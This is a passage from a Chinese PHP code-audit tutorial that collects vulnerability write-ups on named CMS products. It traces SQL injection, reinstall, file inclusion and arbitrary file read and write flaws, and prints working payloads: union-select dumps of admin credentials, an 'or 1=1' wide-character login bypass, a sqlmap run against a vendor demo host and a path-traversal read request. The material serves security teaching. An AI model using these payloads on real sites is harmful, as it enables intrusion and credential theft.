$pconnect)) { $error[]= '数据库连接错误' ; } if (empty ($_POST['dbprefix'])) { $dbprefix='fb_'; } else { $dbprefix=$_POST['dbprefix']; } //提交的 admin_user 和 admin_pass 最后将成为 web 管理员的账号和密码 $admin_user=$_POST[ 'admin_user']; $admin_pass=$_POST[ 'admin_pass']; $blogname=$_POST[ 'blogname']; $blogdesc=$_POST[ 'blogdesc']; $blog_keyword=$_POST[ 'blogkeyword']; - 28 - //之后就写入配置文件和更新数据库,再以后这个 simple-log 的数据库将 使用用户提交的数据库 PoC: POST http://xxx/install/index.php HTTP/1.1 User-Agent: Opera/9.80 (Windows NT 6.1; WOW64; U; Edition IBIS; zh-cn) Presto/2.10.229 Version/11.64 Host: www.xxx.com Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, 省略... setup=finish&host=mysql 的地址&dbname=数据库名&dbuser=帐号&dbpass=密码 &admin_user=管理员帐号&admin_pass=管理员密码&blogname=博客名 - 29 - 不好意思,第一章我就放这个,如果没有基础的同学当然是看 不懂。我建议一下你去学完 php 在来,但是不要灰心。接下来 - 30 - 才是刚开始,现在的重装漏洞少之又少,所以可以不要在意细 节。 上面我是故意放这些案例,其实我也完 全看不懂。 SQL 注入漏洞 SQL 注入攻击(SQL Injection),简称注入攻击,SQL 注入是 web 开发中最常见的一种安全漏洞。SQL 注入漏洞可以用来从数据库 获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一 系列恶意操作,甚至有可能获取数据库乃至系统最高权限 现在注入可分为六种,哪六种呢?可以参考 sqlmap 目录下的 payloads 01_boolean_blind.xml 02_error_based.xml 03_inline_query.xml 04_stacked_queries.xml 05_time_blind.xml 06_union_query.xml 其实还不止,还有二次注入等等 - 31 - WiiNews(Mobile 新闻系统) 作者:路人甲 先来段简单的程序: $id=sqlReplace(Trim($_GET['id'])); $sqlStr="select * from wiinews_news where news_id=$id"; $result = mysql_query($sqlStr) or die ("查询失败,请检查 SQL 语句。 编码号:1010"); $row = mysql_fetch_array($result); 这里通过$_GET 之后给了 sqlReplace()这个函数处理。然而,trim 是 什么自己抱着手册来看。 然后就带入了 sql 查询,但在之之后,我们需要查看 sqlReplace()这个 函数对$_GET['id'] 做了一些什么处理 function sqlReplace($str) { $strResult = $str; if(!get_magic_quotes_gpc()) //如果 gpc 没有开的话 { $strResult = addslashes($strResult); //编码 - 32 - } return HTMLEncode($strResult); //gpc 开的话,返回 HTMLEncode() } 这里判断如果 gpc 没有开启的话通过 php 内置函数 addslashesf 进行 处理。如果开启的话则用 HTMLEncode 来处理。这里继续来路进这个 函数 function HTMLEncode($str){ if (!empty($str)){ $str=str_replace("&","&",$str); $str=str_replace(">",">",$str); $str=str_replace("<","<",$str); $str=str_replace(CHR(32)," ",$str); $str=str_replace(CHR(9)," ",$str); $str=str_replace(CHR(9)," ",$str); $str=str_replace(CHR(34),""",$str); $str=str_replace(CHR(39),"'",$str); $str=str_replace(CHR(13),"",$str); $str=str_replace(CHR(10),"",$str); } return $str; } 看到了,只拦截了引号,空格,并没有拦截类似 and,select 的函数 - 33 - 现在懂了吧,看到输入进来的变量通过什么函数处理,然后一直跟这 个函数,一直到进入数据库为止。 现在有些程序忘记过滤是另外一回 事,现在的程序而不是找忘记哪里过滤了,而是怎么去绕过了而。 - 34 - tpshop 注入 作者:Dark' Evil 先从头开始分析: File:index.php if (extension_loaded('zlib')){ ob_end_clean(); ob_start('ob_gzhandler'); } // 检测PHP环境 if(version_compare(PHP_VERSION,'5.3.0','<')) die('require PHP > 5.3.0 !'); //检测是否已安装TPshop系统 if(file_exists("./Install/") && !file_exists("./Install/install.lock")){ if($_SERVER['PHP_SELF'] != '/index.php'){ header("Content-type: text/html; charset=utf-8"); exit("请在域名根目录下安装,如:<br/> www.xxx.com/index.php 正确 <br/> www.xxx.com/www/index.php 错误,域名后面不能圈套目录, 但项 目没有根目录存放限制,可以放在任意目录,apache虚拟主机配置一下 即可"); } header('Location:/Install/index.php'); exit(); } error_reporting(E_ALL ^ E_NOTICE);//显示除去 E_NOTICE 之外 的所有错误信息 - 35 - // 开启调试模式 建议开发阶段开启 部署阶段注释或者设为false define('APP_DEBUG',false); // 定义应用目录 define('APP_PATH','./Application/'); // 定义插件目录 define('PLUGIN_PATH','plugins/'); 看到定义的程序目录为: define('APP_PATH','./Application/'); 来到这目录下查看一些常用的文件 File:Application/Home/Controller/ApiController.class.php Code:20 class ApiController extends Controller { /* * 获取地区 */ public function getRegion(){ $parent_id = I('get.parent_id'); $selected = I('get.selected',0); $data = M('region')->where("parent_id=$parent_id")->select(); $html = ''; if($data){ foreach($data as $h){ if($h['id'] == $selected){ $html .= "<option value='{$h['id']}' selected>{$h['name']}</option>"; } $html .= "<option value='{$h['id']}'>{$h['name']}</option>"; - 36 - } } echo $html; } 这里通过`I('get.parent_id')` 这是 thinkphp 的一个写法,通过 GET 接收 parent_id 这个变量 获取的 parent_id 之后直接带入了数据库查询: $data = M('region')->where("parent_id=$parent_id")->select(); 这里存在注入 demo 注入: sqlmap git:(master) ✗ python sqlmap.py -u "http://demo2.tp-shop.cn/index.php?m=Home&c=Api&a=get Region&parent_id=2" -p parent_id -v 3 其实我来总结一下,代码审计首先你得看得懂代码。可能你学完 php 基础之后还是对有些程序看不懂,其实已经利用了框架开发,所以这 - 37 - 时候你要开始学习框架,等学完了你再来看这套程序的时候。你就会 突然明白很多。 74CMS 人才系统注入全版本通杀进后台 作者:小屁孩 整套程序过滤的还是比较全面的 不过所有版本都是 GBK 编码是 他的硬伤 但是基本上字符串入库的时候作者都使用了 iconv 来把提交 过来的数据编码转换成 utf8 所以利用宽字符注入就没办法了 但是过滤完善仅限 3.2 版本之前 最新的 3.2 版本 plus 目录多了几个文件 不知道是不是换了程序员了... 先上两个白痴注入吧~ File: \plus\ajax_officebuilding.php line:16 - 38 - if($act == 'alphabet') { $alphabet=trim($_GET['x']); if (!empty($alphabet)) { $result = $db->query("select * from ".table('category')." where c_alias='QS_officebuilding' AND c_index='{$alphabet}' "); while($row = $db->fetch_array($result)) { if ($listtype=="li") { $htm.="  {$row['c_name']}"; } else { $htm.="  {$row['c_name']}{$row['stat_jobs']}"; } } if (empty($htm)) { $htm="没有找到首字母为:{$alphabet} 的写字楼!"; } $htm.=""; exit($htm); } } $_GET['x']获取的值给$alphabet, 而$alphabet 直接插入到了 SQL 查询语句中。 所以这里造成了注入 - 39 - exp: plus/ajax_officebuilding.php?act=alphabet&x=11%d5'%20union%20select%201,2,3,c oncat(0x3C2F613E20),5,6,7,concat(0x3C623E5E5F5E203C2F623E,admin_nam e,0x3A,pwd,0x3C623E205E5F5E3C2F623E),9%20from%20qs_admin%23 注入也是白搭 因为 hash 解不出来,经过多次加密的 试了十几个一个 都没解出来.... File:\admin\admin_login.php (42 行) elseif($act == 'do_login') { header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-cache, must-revalidate"); header("Pragma: no-cache"); $admin_name = isset($_POST['admin_name']) ? trim($_POST['admin_name']) : ''; //没过滤~~~ $admin_pwd = isset($_POST['admin_pwd']) ? - 40 - trim($_POST['admin_pwd']) : ''; $postcaptcha = isset($_POST['postcaptcha']) ? $_POST['postcaptcha'] : ''; $remember = isset($_POST['rememberme']) ? intval($_POST['rememberme']) : 0; if($admin_name == '') { header("Location:?act=login&err=".urlencode('用户名不能为空')); exit(); } elseif($admin_pwd == '') { header("Location:?act=login&err=".urlencode('密码不能为空')); exit(); } $captcha=get_cache('captcha'); if(empty($postcaptcha) && $captcha['verify_adminlogin']=='1') { header("Location:?act=login&err=".urlencode('验证码不能为空 ')); exit(); } if ($captcha['verify_adminlogin']=='1' && strcasecmp($_SESSION['imageCaptcha_content'],$postcaptcha)!=0) { write_log("验证码填写错误",$admin_name,2); header("Location:?act=login&err=".urlencode('验证码填写错误 ')); exit(); } elseif(check_admin($admin_name,$admin_pwd)) //关键函数 直接带 入进去了 { - 41 - update_admin_info($admin_name); write_log("成功登录",$admin_name); if($remember == 1) { $admininfo=get_admin_one($admin_name); setcookie('Qishi[admin_id]', $_SESSION['admin_id'], time()+86400, $QS_cookiepath, $QS_cookiedomain); setcookie('Qishi[admin_name]', $admin_name, time()+86400, $QS_cookiepath, $QS_cookiedomain); setcookie('Qishi[admin_pwd]', md5($admin_name.$admininfo['pwd'].$admininfo['pwd_hash'].$QS_pwdhash), time()+86400, $QS_cookiepath, $QS_cookiedomain); } } else { write_log("用户名或密码错误",$admin_name,2); header("Location:?act=login&err=".urlencode('用户名或密码错 误')); exit(); } header("Location: admin_index.php"); } $admin_name 经过了 check_admin 函数处理。 继续追下 check_admin 函数: \admin\include\admin_common.fun.php (197 行) function check_admin($name,$pwd) { global $db,$QS_pwdhash; $admin=get_admin_one($name); //先把程序 name 带入了这个函数进行了 一次查询 - 42 - $md5_pwd=md5($pwd.$admin['pwd_hash'].$QS_pwdhash); $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd ='".$md5_pwd."' "); //继续查询 if($row['num'] > 0){ return true; }else{ return false; } } 再看看 get_admin_one 函数: \admin\include\admin_common.fun.php (237 行) function get_admin_one($username){ global $db; $sql = "select * from ".table('admin')." where admin_name = '".$username."' LIMIT 1"; //同样直接查询了 return $db->getone($sql); } get_admin_one 函数和 check_admin 函数都是直接就带入查询了 除了 POST 开头被 addslashes 函数过滤过一次 但是在宽字符面前这些都 是浮云~~ - 43 - 直接向 admin_login.php?act=do_login 构造以下 POST 语句就能 直接进后台了~~ 当然前提你得有后台路径 admin_name=fuckyou%d5' or 1=1%23&admin_pwd=1 iSiteCMS 几处注射漏洞 作者:lxj616 File:/isite/components/messages/messages.fe.php line:103 if($form->status == TFORM_STATUS_GETED_VALID){ //这个是站内短信的写信息表单的处理 $arr = $form->getValues(); - 44 - //直接获取表单中信息 $tos = explode(',',trim($arr['to'])); //只是分割,不是过滤 $noExistsMenber = array(); $toMenbers = array(); foreach ($tos as $menber){ $i =$this->DBE->getOne("select `id` from #__user where `name`='$menber'"); //一直到上面这一句都没有过滤,直接带入数据库查询了,之所以会这么写可能 的原因是开发人员误以为`name`='$menber'的引号可以起到保护作用(其他的 int 变量都通过了 inval,而这个是 string 可以输入单引号) if(is_null($i) or empty($i)){ $noExistsMenber[] = $menber; //id 只要有返回就可以继续 }else{ $m['name'] = $menber; $m['id'] = $i; $toMenbers[] = $m; } } if(!empty($noExistsMenber)){ addGlobalNotice("以下用户不存在:".implode(',',$noExistsMenber)); }else{ $msg['tos'] = $arr['to']; $msg['subject'] = $arr['subject']; $msg['content'] = $arr['content']; //进入信息发送的模块了,实际上之前就已经引发注射了,但是攻击时需要读 sendMessage 代码 $mMessage->sendMessage($toMenbers,$msg); $this->flash('成功','发送成功',bu(1,'messages','inbox')); } 这个就是代码里的表单显示 - 45 - 上面同理: /isite/components/links/links.be.php line:64 if($form->status == TFORM_STATUS_GETED_VALID){ $newCat = $form->getValues(); if($id==0){ //create category //check name $name = $newCat['name']; $nameUsed = $this->DBE->getOne("select count(*) from #__link_category where `name`='$name'"); if($nameUsed){ $form->status = TFORM_STATUS_GETED; 下面是对于攻击方式的分析 注射肯定是有了,但是这里有一点点别扭的地方,就是 $tos = explode(',',trim($arr['to'])); - 46 - 这句话把逗号给干掉了,给注射添加了小小难度 继续分析代码: File:/isite/components/messages/models/message.php 整个 php function sendMessage($to,$message,$type=null,$newCall=1){ //刚才检测完用户是否存在后,调用这个函数 if(isset($to['name']) or is_string($to)){ if(is_string($to)){ $to['name'] = $to; } if(!isset($to['id'])){ //还记得 id 吗,是之前被注射 SQL 的返回,理论上正常应该是目标用户的 id $to['id'] = $this->_db->getOne("select `id` from #__user where `name`='$to[name]'"); } //又 SELECT 一遍,不过 name 还是注射时的 name,这一句也被注射了 global $gUser; $message['to'] = $to['name']; $message['to_id'] = $to['id']; $message['from'] = $gUser->name; $message['from_id'] = $gUser->id; $message['create_time'] = TIME_STAMP; $message['type'] = $type; $this->insert($message); //看到下一句,终于长舒一口气,注射可以有回显了!to_id 就是我们的语句执行 结果,而它会报错给我们看的! $this->_db->execute("update #__user set `new_msg_count`=`new_msg_count`+1 where `id`=$message[to_id]"); if($newCall>0){ $message['to'] = ''; $message['to_id'] = 0; $this->insert($message); $newCall--; - 47 - } }else if(is_array($to)){ foreach ($to as $sto){ $this->sendMessage($sto,$message,null,$newCall); } } } 利用: 注册一下,在会员中心-站内短信-发信息 里那个 link 模块里的注射没 找到表单在什么地方 注射+回显方法 : test' and 1=2 union select password from flexi_user where id=1# - 48 - PHPYun XML 实体注入 作者:未知 File:/weixin/model/index.clss.php Code: 13 class index_controller extends common { public $MsgType; public function index_action() { if($_GET["echostr"]) { $this->valid(); }else{ //if(!$this->checkSignature()){echo " 非法来源地址!";exit();}; $postStr = $GLOBALS["HTTP_RAW_POST_DATA"]; if (!empty($postStr)) { - 49 - $postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA); $fromUsername = $postObj->FromUserName; $toUsername = $postObj->ToUserName; $keyword = trim($postObj->Content); $times = time(); $MsgType = $postObj->MsgType; $topTpl = "<xml> <ToUserName><![CDATA[%s]]></ToUserName> <FromUserName><![CDATA[%s]]></FromUserName> <CreateTime>%s</CreateTime> <MsgType><![CDATA[%s]]></MsgType>"; $bottomStr = "<FuncFlag>0</FuncFlag></xml>"; if($MsgType=='event') { $MsgEvent = $postObj->Event; if ($MsgEvent=='subscribe') { $centerStr = "<Content><![CDATA[欢迎您关注 ".iconv('gbk','utf-8',$this->config['sy_webname'])."!\n 1:您可以 直接回复关键字如【销售】、【南京 销售】、【南京 销售 XX 公司】查找您想要 的职位\n 绑定您的账户体验更多精彩功能\n 感谢您的关注!]]></Content>"; $this->MsgType = 'text'; }elseif ($MsgEvent=='CLICK') - 50 - { $EventKey = $postObj->EventKey; if($EventKey=='myaccount'){ $centerStr = $this->bindUser($fromUsername); }elseif($EventKey=='我的消息') { $centerStr = $this->myMsg($fromUsername); }elseif($EventKey=='面试邀请') { $centerStr = $this->Audition($fromUsername); }elseif($EventKey=='简历查看') { $centerStr = $this->lookResume($fromUsername); }elseif($EventKey=='刷新简历') { $centerStr = $this->refResume($fromUsername); }elseif($EventKey=='推荐职位') { $centerStr = $this->recJob(); }elseif($EventKey=='职位搜索'){ - 51 - $centerStr = "<Content><![CDATA[直接回复城市、职位、公司名 称等关键字搜索您需要的职位信息。\n 如:【经理】、【南京 经理】、【南京 xx 公司】]]></Content>"; $this->MsgType = 'text'; } } }elseif($MsgType=='text'){ if($keyword){ $centerStr = $this->searchJob($keyword); } } $topStr = sprintf($topTpl, $fromUsername, $toUsername, $times, $this->MsgType); echo $topStr.$centerStr.$bottomStr; } } } - 52 - 先来慢慢分析一下定义一个属性$MsgType,后面判断 echostr 是 否通过 GET 方式提交,如果是则调用 valid()方法 这里先不往下读,先跟进 valid()方法是做什么的: Code:482 private function valid() { $echoStr = $_GET["echostr"]; if($this->checkSignature()){ echo $echoStr; exit; } } private function checkSignature() { - 53 - $signature = $_GET["signature"]; $timestamp = $_GET["timestamp"]; $nonce = $_GET["nonce"]; $token = $this->config['wx_token']; $tmpArr = array($token, $timestamp, $nonce); sort($tmpArr, SORT_STRING); $tmpStr = implode( $tmpArr ); $tmpStr = sha1( $tmpStr ); if( $tmpStr == $signature && $token!=''){ return true; }else{ return false; } } 主要是检查签名,还有$token 是否不为空。 而这里的 wx_token 默认是为空的,所以这里有一项条件不成功,则反回 false。 所以这里就跟进完了,valid()这个方法是用来检查签名的 然后继续往下: $postStr = $GLOBALS["HTTP_RAW_POST_DATA"]; if (!empty($postStr)) { $postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA); $fromUsername = $postObj->FromUserName; $toUsername = $postObj->ToUserName; - 54 - $keyword = trim($postObj->Content); $times = time(); $MsgType = $postObj->MsgType; $topTpl = "<xml> <ToUserName><![CDATA[%s]]></ToUserName> <FromUserName><![CDATA[%s]]></FromUserName> <CreateTime>%s</CreateTime> <MsgType><![CDATA[%s]]></MsgType>"; $bottomStr = "<FuncFlag>0</FuncFlag></xml>"; $GLOBALS[“HTTP_RAW_POST_DATA”] 所以这里获取的 post 传给了变量,然后进行了判断$postStr 是否 不为空,如果不为空则调用 simplexml_load_string()方法,把 XML 字符串载入对象中。 然后通过对象名赋值给其它变量$fromUsername 等 继续往下读: - 55 - if($MsgType=='event') { $MsgEvent = $postObj->Event; if ($MsgEvent=='subscribe') { $centerStr = "<Content><![CDATA[欢迎您关注 ".iconv('gbk','utf-8',$this->config['sy_webname'])."!\n 1:您可以直接回复关键字如【销售】、【南京 销售】、【南京 销售 XX 公司】查找您想要的职位\n 绑定您的账户体验更多精彩功能\n 感 谢您的关注!]]></Content>"; $this->MsgType = 'text'; }elseif ($MsgEvent=='CLICK') { $EventKey = $postObj->EventKey; if($EventKey=='myaccount'){ $centerStr = $this->bindUser($fromUsername); }elseif($EventKey=='我的消息') { $centerStr = $this->myMsg($fromUsername); - 56 - }elseif($EventKey=='面试邀请') { $centerStr = $this->Audition($fromUsername); }elseif($EventKey=='简历查看') { $centerStr = $this->lookResume($fromUsername); }elseif($EventKey=='刷新简历') { $centerStr = $this->refResume($fromUsername); }elseif($EventKey=='推荐职位') { $centerStr = $this->recJob(); }elseif($EventKey=='职位搜索'){ $centerStr = "<Content><![CDATA[直接回复城市、职 位、公司名称等关键字搜索您需要的职位信息。\n 如:【经理】、【南 京 经理】、【南京 xx 公司】]]></Content>"; $this->MsgType = 'text'; } } }elseif($MsgType=='text'){ if($keyword){ $centerStr = $this->searchJob($keyword); } } $topStr = sprintf($topTpl, $fromUsername, $toUsername, $times, $this->MsgType); - 57 - echo $topStr.$centerStr.$bottomStr; } } } 这里先判断类型,如果点击,$MsgEvent==’CLICK’ 则会调 用 bindUser()方法。 原本这段代码判断是否 我的帐号信息,但在环境搭建后可能是编码原 因,一直复现不成功,所以这里我改成了 myaccount 所以才会去执行 bindUser()方法 if($EventKey=='myaccount'){ $centerStr = $this->bindUser($fromUsername); 这里调用了这个 bindUser()方法,所以这里跟进一下这个方法是做什 么的。 Code:286 private function bindUser($wxid='') { $bindType = $this->isBind($wxid); $this->MsgType = 'text'; return $bindType['cenetrTpl']; } 将$wxid 这个参数又传给了 isBind()方法进行处理。 继续跟进 isBind()方法: Code:295 private function isBind($wxid='') { if($wxid) - 58 - { $User = $this->obj->DB_select_once("member","`wxid`='".$wxid."' ","`uid`,`username`"); } if($User['uid']>0) { $User['bindtype'] = '1'; $User['cenetrTpl'] = "<Content><![CDATA[您的 ".iconv('gbk','utf-8',$this->config['sy_webname'])."帐 号:".$User['username']."已成功绑定! \n\n\n 您也可以<a href=\"".$this->config['sy_weburl']."/wap/index.php?m=l ogin&wxid=".$wxid."\">点击这里</a>进行解绑或绑定其他帐 号]]></Content>"; }else{ $Token = $this->getToken(); $Url = 'https://api.weixin.qq.com/cgi-bin/user/info?access_tok en='.$Token.'&openid='.$wxid.'&lang=zh_CN'; $CurlReturn = $this->CurlPost($Url); $UserInfo = json_decode($CurlReturn); $wxid = $wxid; $wxname = $UserInfo->nickname; $this->config['token_time'] = time(); $User['cenetrTpl'] = '<Content><![CDATA[您还没有绑定帐号,<a href="'.$this->config['sy_weburl'].'/wap/index.php?m=lo gin&wxid='.$wxid.'">点击这里</a>进行绑定!]]></Content>'; } - 59 - return $User; } 这里传过来的$wxid 直接进入到了 DB_select_once 方法中。 这里继 续跟进 DB_select_once 是否有进行过滤等。如果没有过滤则存在 sql 注入 File:/Module/class/action.class.php Code:53 function DB_select_once($tablename, $where = 1, $select = "*") { $cachename=$tablename.$where; if(!$return=$this->Memcache_set($cachename)){ $SQL = "SELECT $select FROM " . $this->def . $tablename . " WHERE $where limit 1"; $query = $this->db->query($SQL); $return=$this->db->fetch_array($query); $this->Memcache_set($cachename,$return); } return $return; 所以没有过滤产生了注入工攻击 漏洞利用方法: - 60 - http://192.168.0.108/phpyun3/weixin/index.php?m=index&c=inde x POST: <?xml version="1.0" encoding="utf-8"?> <xml> <ToUserName>1111</ToUserName> <FromUserName>1111' and 1=2 union select 1,(select concat(username,password) from phpyun_admin_user limit 0,1)#</FromUserName> <CreateTime>1402550611</CreateTime> <MsgType>event</MsgType> <Event>CLICK</Event> <EventKey>myaccount</EventKey> <FuncFlag>0</FuncFlag> </xml> 这里提交将会被拦 - 61 - 通过 tamper Data 来突破 添加一个:Content-Type:text/xml; - 62 - 提交,查看源代码查看密码: - 63 - cmseasy 无限制报错注入 作者:loopx9 File:xajax.class.php if ($rootTag == "xjxquery") { $sQuery = ""; $this->iPos++; while (!stristr($this->aObjArray[$this->iPos], "")) { if (stristr($this->aObjArray[$this->iPos], "") || stristr($this->aObjArray[$this->iPos], "")) { $this->iPos++; continue; } $sQuery .= $this->aObjArray[$this->iPos]; $this->iPos++; } parse_str($sQuery, $aArray); if ($this->bDecodeUTF8Input) { foreach ($aArray as $key => $value) { $aArray[$key] = $this->_decodeUTF8Data($value); } } if (get_magic_quotes_gpc() == 1) { $newArray = array(); - 64 - foreach ($aArray as $sKey => $sValue) { if (is_string($sValue)) $newArray[$sKey] = stripslashes($sValue); else $newArray[$sKey] = $sValue; } $aArray = $newArray; } } return $aArray; } 问题发生在哪里了: parse_str($sQuery, $aArray); 这个函数,本身会对 url 编码进行一次 decode 的 测试一下 <?php echo $_GET['b']; echo "<br>"; parse_str($_GET['b']); echo $a; ?> - 65 - 第二处逻辑 如果 gpc 开启的话,它会进行一次 stripslashes if (get_magic_quotes_gpc() == 1) { $newArray = array(); foreach ($aArray as $sKey => $sValue) { if (is_string($sValue)) $newArray[$sKey] = stripslashes($sValue); 以往的 注册函数有两个前台可以利用: Postdata 和 LiveMessage 看看 LiveMessage: function LiveMessage($a) { global $db; $sessionid = $_SESSION['sessionid']; $name = addslashes(htmlspecialchars($a['name'])); $email = addslashes(htmlspecialchars($a['email'])); $country = addslashes(htmlspecialchars($a['country'])); $phone = addslashes(htmlspecialchars($a['phone'])); $departmentid = addslashes(htmlspecialchars($a['departmentid'])); $message = addslashes(htmlspecialchars($a['message'])); 所有的参数都被 addslashes 我们在看看: Postdata - 66 - function Postdata($a) { global $db; $chatid = $_SESSION['chatid']; $name = $_SESSION['name']; $a['detail'] = htmlspecialchars($a['detail']); if (!get_magic_quotes_gpc()) { $a['detail'] = addslashes($a['detail']); } 如果 gpc 开启的话,就不进行 addslashes 好的 直接 exp 发送 url: http://localhost/Cmseasy/celive/live/header.php postdata: xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx %2527%252C%2528UpdateXML%25281%252CCONCAT%252 80x5b%252Cmid%2528%2528SELECT%252f%252a%252a% 252fGROUP_CONCAT%2528concat%2528username%252C%2 527%257C%2527%252Cpassword%2529%2529%2520from% 2520cmseasy_user%2529%252C1%252C32%2529%252C0x5 d%2529%252C1%2529%2529%252CNULL%252CNULL%252 CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</ q></xjxquery> 练习题: 1.注入有几种类型? 2.是否所有数据库都受到 SQL 注入? - 67 - 实践:通过 sqli-labs 练习一下 https://github.com/Audi-1/sqli-labs 文件包含 文件包含漏洞即当程序员在包含文件的过程中引入了外部提交的 数据参与包含的过程所产生的漏洞,这个漏洞是目前 Web 攻击中最利 - 68 - 用率最高的一个漏洞,攻击者 可以轻松获取服务器的访问权限(即拿 到 webshell)。而文件包含通常又有本地文件包含 (Local File Inclusion)和远程文件包含(Remote File Inclusion) 之分。allow_url_fopen 和 allow_url_include 是决定包含属于本地文 件包含(LFI)还是远程文件包含 (RFI)的条件,在 PHP4 中则只有 一个 allow_url_fopen 选择。其中 allow_url_fopen 和 allow_url_include 为 0n 的情况为远程文件包含漏洞,相反为本地 文件包含漏洞。 什么才是“远程文件包含漏洞”? 服务器通过 php 的特性(函数)去包含任意文件时,由于要包含 的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可 以构造这个恶意文件来达到邪恶的目的。 涉及到的危险函数: include() require() include_once() require_once() Include:包含并运行指定文件,当包含外部文件发生错误时,系 统给出警告,但整个 php 文件继续执行。 Require:跟 include 唯一不同的是,当产生错误时候,include 下面继续运行而 require 停止运行了。 Include_once:这个函数跟 include 函数作用几乎相同,只是他 在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么 就不重复执行了。 - 69 - Require_once:这个函数跟 require 的区别 跟上面我所讲的 include 和 include_once 是一样的。所以我就不重复了。 phpcms2008 本地文件包括及利用 作者:Jannock 文件 wap/index.php include '../include/common.inc.php'; include './include/global.func.php'; $lang = include './include/lang.inc.php'; if(preg_match('/(mozilla|m3gate|winwap|openwave)/i', $_SERVER['HTTP_USER_AGENT'])) { header('location:../'); } wmlHeader($PHPCMS['sitename']); $action = isset($action) && !empty($action) ? $action : 'index'; if($action) { include './include/'.$action.'.inc.php'; } $html = CHARSET != 'utf-8' ? iconv(CHARSET, 'utf-8', $html) : $html; - 70 - echo str_replace('', "\n", $html); wmlFooter(); ?> action 变量没有判断,造成本地文件包含漏洞。 利用(其中之一): 包含目录 include\fields\areaid 下任一文件,即可执行任意 SQL 脚本。 如:field_add.inc.php if(!$maxlength) $maxlength = 255; $maxlength = min($maxlength, 255); $sql = "ALTER TABLE `$tablename` ADD `$field` VARCHAR( $maxlength ) NOT NULL DEFAULT '$defaultvalue'"; $db->query($sql); ?> tablename 等变量可以直接传入。 当然,这个访问需要用 Opera 等浏 览器访问。 用 Opera 浏览器访问 http://www.phpcms.cn/wap/index.php?action=../../include/fields/a reaid/field_add&tablename=xx simple-log 后台任意文件读写漏洞 作者:风眼哥 在/admin/includes/set_page.php 中: 产生读任意文件的地方: elseif ($action=='get_page_data') { require(PBBLOG_ROOT . '/includes/json.class.php'); $json = new JSON; $file=$_POST['template_file']; $res=array('type'=>'get_page_data','content'=>'','error'=>'no'); - 71 - $data=file_get_contents(PBBLOG_ROOT.'/themes/'.$config['template_ name'].'/'.$file); $res['content']=$data; die($json->encode($res)); } $_POST['template_file']被传给了$file 然后直接字符串拼接进入 file_get_contents 中导致读任意文件漏洞的产生 产生写任意文件的地方: elseif ($action=='act_set_page') { $data=htmlspecialchars_decode(stripslashes($_POST['data'])); $file=$_POST['template_file']; $fp=@fopen(PBBLOG_ROOT.'/themes/'.$config['template_name'].'/'. $file,"w") or die('can not open file'); flock($fp,LOCK_EX); fwrite($fp,$data); fclose($fp); clear_tpl(); sys_message('页面修改成功','admin.php?act=set_footer&file='.$file); } 同理也是 $_POST['template_file']被传给了$file 然后直接字符串拼接进入 file_get_contents 中导致写任意文件漏洞的产生 读 index.php 文件 POST /simple-log/admin/admin.php?act=get_page_data HTTP/1.1 Host: xxx User-Agent: xxx - 72 - Accept: application/json, text/javascript, */* Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://xxx/simple-log/admin/admin.php?act=set_footer&file=blog.html Content-Length: 23 Cookie: xxx Connection: keep-alive Pragma: no-cache Cache-Control: no-cache template_file=../index.php 易酷 cms 本地包含导致 getwebshell 作者:Bhunter 漏洞文件:core\Lib\Action\Home\MyAction.class.php class MyAction extends HomeAction{ public function index(){ $this->show(); } public function show(){ $id = !empty($_GET['id'])?$_GET['id']:'hot'; $this->display('my_'.trim($id));漏洞点 } } ?> public function fetch($templateFile='',$charset='',$contentType='text/html',$display=false) { - 73 - $GLOBALS['_viewStartTime'] = microtime(TRUE); if(null===$templateFile) // 使用 null 参数作为模版名直接返回不做任何输出 return ; if(empty($charset)) $charset = C('DEFAULT_CHARSET'); // 网页字符编码 header("Content-Type:".$contentType."; charset=".$charset); header("Cache-control: private"); //支持页面回跳 //页面缓存 ob_start(); ob_implicit_flush(0); if(!file_exists_case($templateFile)) // 自动定位模板文件 $templateFile = $this->parseTemplateFile($templateFile);//关键 函数,只有此处对包含模板做了文件处理,我看看下这个函数。 $engine = strtolower(C('TMPL_ENGINE_TYPE')); if('php'==$engine) { // 模板阵列变量分解成为独立变量 extract($this->tVar, EXTR_OVERWRITE); // 直接载入 PHP 模板 include $templateFile; }elseif('think'==$engine && $this->checkCache($templateFile)) { // 如果是 Think 模板引擎并且缓存有效 分解变量并载入模板缓存 extract($this->tVar, EXTR_OVERWRITE); //载入模版缓存文件 include C('CACHE_PATH').md5($templateFile).C('TMPL_CACHFILE_SUFFIX'); }else{ // 模板文件需要重新编译 支持第三方模板引擎 // 调用模板引擎解析和输出 $className = 'Template'.ucwords($engine); - 74 - require_cache(THINK_PATH.'/Lib/Think/Util/Template/'.$className.'.class.php'); $tpl = new $className; $tpl->fetch($templateFile,$this->tVar,$charset); } $this->templateFile = $templateFile; // 获取并清空缓存 $content = ob_get_clean(); // 模板内容替换 $content = $this->templateContentReplace($content); // 布局模板解析 $content = $this->layout($content,$charset,$contentType); // 输出模板文件 return $this->output($content,$display); } 对包含文件处理: private function parseTemplateFile($templateFile) { if(''==$templateFile) { // 如果模板文件名为空 按照默认规则定位 $templateFile = C('TMPL_FILE_NAME'); }elseif(strpos($templateFile,'@')){ // 引入其它主题的操作模板 必须带上模块名称 例如 blue@User:add $templateFile = TMPL_PATH.str_replace(array('@',':'),'/',$templateFile).C('TMPL_TEMPLATE_S UFFIX'); }elseif(strpos($templateFile,':')){ // 引入其它模块的操作模板 $templateFile = TEMPLATE_PATH.'/'.str_replace(':','/',$templateFile).C('TMPL_TEMPLATE_SUF FIX'); }elseif(!is_file($templateFile)) { // 引入当前模块的其它操作模板 - 75 - $templateFile = dirname(C('TMPL_FILE_NAME')).'/'.$templateFile.C('TMPL_TEMPLATE_SUFFIX '); } 